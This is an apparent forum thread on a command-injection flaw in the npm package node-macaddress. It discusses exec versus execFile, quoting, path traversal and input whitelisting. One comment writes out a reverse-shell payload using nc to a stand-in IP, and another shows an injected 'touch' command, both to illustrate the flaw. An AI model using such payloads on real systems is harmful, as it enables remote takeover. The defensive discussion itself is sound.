The package definitely should be updated, and I appreciate being informed, but "No fix is currently available for this vulnerability" strikes me as a little disingenuous. Object.Freeze a list of iface options, and validate user input against that.. Wouldn't that prevent this attack?
Ironically, I don't see this problem in the Windows version[2].
[0] https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
[1] https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
[2] https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
That means "Local Area Connection" will also match "Local Area Connection 2", "Local Area Connection 3", etc and the sort order of the ipconfig command will determine which one you will return.
[1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
> Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution.
I've always wondered what exactly the best way to do this is... searching about sanitising user input into shells always results in suggestions for something quite extreme like stripping non-alphanumerics or something similar. But much of the time user inputs are just passed as parameters or built into paths as in this case, so I wondered, is it enough to quote them instead? we don't need the features of double quotes when building the string in some other language in which case the rules for single quotes apply:
From GNU Bash 3.1.2.2 Single Quotes:
> Enclosing characters in single quotes (‘'’) preserves the literal value of each character within the quotes. A single quote may not occur between single quotes, even when preceded by a backslash.
In which case is it possible to get away with just "sanitizing" for single quote usage and then single quote all paramaters?:
exec(`cat '/sys/class/net/${iface.replace(/'/g, '')}/address'`, () => {})
Is it possible to break out of that? I think in order to use && or ; to start a new command you need to end the context of the string, but .replace(/'/g, '') seems to remove that ability? e.g iface = `'; touch /uhoh;`
results in the following string passed to exec cat '/sys/class/net/; touch /uhoh;/address'
=> cat: '/sys/class/net/; touch /uhoh/address': No such file or directory
Also you can't do further exec inside single quotes with backticks e.g cat '/sys/class/net/` touch /uhoh `/address'
=> cat: '/sys/class/net/`touch /uhoh`/address': No such file or directoryIf you can avoid fork/exec you're always better off. In this case reading the file directly is fine. I can't think of a valid reason to fork and invoke cat.
If you have a legit reason to fork and run then use execFile(...) as you can pass the arguments as an actual array. No escaping needed as it gets passed in total without shell parsing of args. Your example would be something like:
execFile('/bin/cat', ['--', `/sys/class/net/${iface}/address`,], (error, stdout, stderr) => { ... })
Though that has the issue of being able to pass in ../../../ and read a file named "address" anywhere on the filesystem. Should also add in a regex validation that no directory separators are in the text of iface.[1]: Yes this sounds stupid but it's a valid file name. A more realistic one may be something like "Alice's Wi-Fi".
[2]: https://nodejs.org/api/child_process.html#child_process_chil...
Yes I get that, I should have clarified: in the general use of exec (i.e a valid and necessary use).
> If you have a legit reason to fork and run then use execFile(...)
You are absolutely right, execFile is a much better way, I've used it before and I guess you are right - in _most_ cases this should be the #1 choice.
[edited] - irrelevant details of obscure case where execFile isn't enough.
Anyway, in a case where exec through a shell is necessary for some reason, i'm wondering if this method of single quoting is actually safe or not, as far as I can see it is, but i'm not a security expert.
In this case, matters are worse because without knowing which shell we are running under and which cat we are executing it is impossible to know the complete list of dangerous characters. (In fact, if some sloppy sysadmin have a dot in the search path, the cat binary might even be attacker uploaded.)
(The fact that cat is even in there is of course doubly insane. They start an extra process just to make reading the data slightly more complicated.)
> matters are worse because without knowing which shell we are running under
The shell in exec can be configured, it's /bin/sh by default but of course this is linked to all kinds of different things on different OS, ubuntu links to dash, used to be bash, FreeBSD has a "proper" sh. I suppose if going through a shell was somehow necessary you could try to be more secure by specifying a absolute path to a shell but...
> In fact, if some sloppy sysadmin have a dot in the search path, the cat binary might even be attacker uploaded.
:P I feel like it's game over at that point, is there really any point in worrying about library security when the $PATH has been effectively hijacked?
Well, there might be legitimate (although somewhat misguided) reasons for someone to do that. People routinely do similar things in dev environments all the time. I can absolutely see how it could reach production. If you don't expect your web app to launch shell scripts you might not even think about it.
It's the small things, which in themselves might not be serious or even noteworthy, which compound together to deliver the nasty surprises.
`exec` is a system call and doesn't call bash or any other shell. At least, it shouldn't.
If it does, then it would be wrong to assume that bash is even available.
Either way. The single quote sytax is specific to bash (and maybe sh, dash, etc. I'm not certain.) so, don't rely upon it.
exec is not a system call in nodejs, it's just a convenience function that sets up a child process and spawns a shell (of your choosing) and then passes the first argument as the single command.
I get that in _this_ case, but I'm talking more generally, sometimes parameters are allowed to or even need to have various other non alphanumeric chars, and then you start going down the fallible road of differentiation... trying to sanitise not quite everything without letting exploits pass through which is dangerous.
But in the more general case of "it's a parameter" can't we just quote it, sanitise for single quotes and then know it's safe?
No, this is terrible practice. The correct solution is to verify that the interface name is well formed. Use a whitelist, not a blacklist. And, for good measure, use a real path manipulation library if available.
% sudo ip link set eth3 down
% sudo ip link set eth3 name "'deal-with-it'"
% sudo ip link show "'deal-with-it'"
5: 'deal-with-it': <BROADCAST,MULTICAST> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 10000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
The only interface-name restrictions iproute2 sets is that they can't contain NUL, slash, or white space, and they can't be longer than 15 characters.Perhaps I should make a new npm module named cat
module.exports = require('fs').readFile;
and saved the day.My general rule is to just avoid trees deeper than a few levels unless there is a very good reason (unless i'm creating a public module in which case I aim for zero, usually end up with 1 or 2 one level dependencies) - most node modules are the unix philosophy taken way too far, every pattern is bad when incorrectly used.
To put this into perspective Perl, which I like, with its modules had 3 this year. And 3 last year. Three per year. Three. https://www.cvedetails.com/vulnerability-list/vendor_id-1885...
I actually find that is generally the case.
As an example, lots of projects have active bug bounty programs where they pay people to disclose vulns. This generates more CVEs than a competing product that does not pay for more vulns. Would we then call the project with a bug bounty program less secure? I'd hope not.
Alternatively, what about impact? Maybe 100 DOS's is less serious than 5 RCE's, or 10 privescs is more serious than 1 RCE? How do we convert between these severities to understand risk?
Counting vulns is pointless.
Again, look at projects that pay for vulns. They have hundreds a year - this is a good thing. They come in at a continuous rate.
Counting is pointless.
Plus, exec is not something to be taken lightly, to the point where I'd barf if I found out a lib I depended on exec'd internally and immediately remove it, unless there was absolutely no other way to perform the action for some absurd reason.
For particular interface like for eth0:
cat /sys/class/net/eth0/address
Then without thought or understanding, put that into their JavaScript as directly as possible.This is someone doing work without a full understanding of the problem space. Less of a programmer, more of a programming technologist. I don't find it surprising at all.
I have nothing against bad developers—we all started there—but there is something seriously wrong with the JavaScript ecosystem and the barrier of entry for pushing your code into other people's projects through libraries.
It really wouldn't be a problem (a poor and ineffective code for sure, but no security bugs), if all the arguments would be correctly validated (and escaped, although valid interface names probably don't need it).
Probably really hard to figure out what user input triggers that to be honest unless you have the source code of the app.
This package has nearly 100M downloads a year which is pretty astonishing.
The more worrying fact is something like this which could easily be drawn in to 100m installs.
The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.
e.g.
macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})The difficulty seems to be that there is no generic pattern for making it safe with exec, it's contextual. Preventing exploits requires you to consider which shell, which command and which part of that combination is being exposed to your user input for you to know exactly what must be sanitised from your user input if you want anything more than alphanumerics.
I suggested one simpler safe pattern lower down in this thread which is encapsulating user based parameters in single quotes (which requires only sanitising against single quotes). Although this is safe, others have noted valid arguments against this too.
It seems like it's just best avoided unless absolutely necessary (most often it's not).
That's what I'm assuming. Just arbitrarily executing an unknown seems bad at face value.
http://web.cs.ucdavis.edu/~filkov/papers/lang_github.pdf (https://news.ycombinator.com/item?id=8558740)
However, JavaScript ends up a being less prone to defective commits than C++ and C, as well as PHP and Python, but there are a number of issues that don't allow us to conclude all that much from these results (imo).
It's just bias. Python code is riddled with vulns - especially since it's all C under the hood.
https://hackernoon.com/python-sandbox-escape-via-a-memory-co...
Here's a great post that covers some issues in Python modules and why they're extra exploitable because they execute under CPython.
This is a particularly relevant quote:
> Perhaps less recognized is the fact that memory corruption bugs are reported in popular Python modules all the time without so much as a CVE, a security advisory, or even a mention of security fixes in release notes.
If anyone can commit anything and nobody ever reads what is to be commited, the repository must be regarded as attacker controlled. Some people will likely find that problematic.
Would be simpler and less error prone to just read the file via fs.readFile(...) after verifying that the iface parameter does not contain a directory separator.
[1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c9...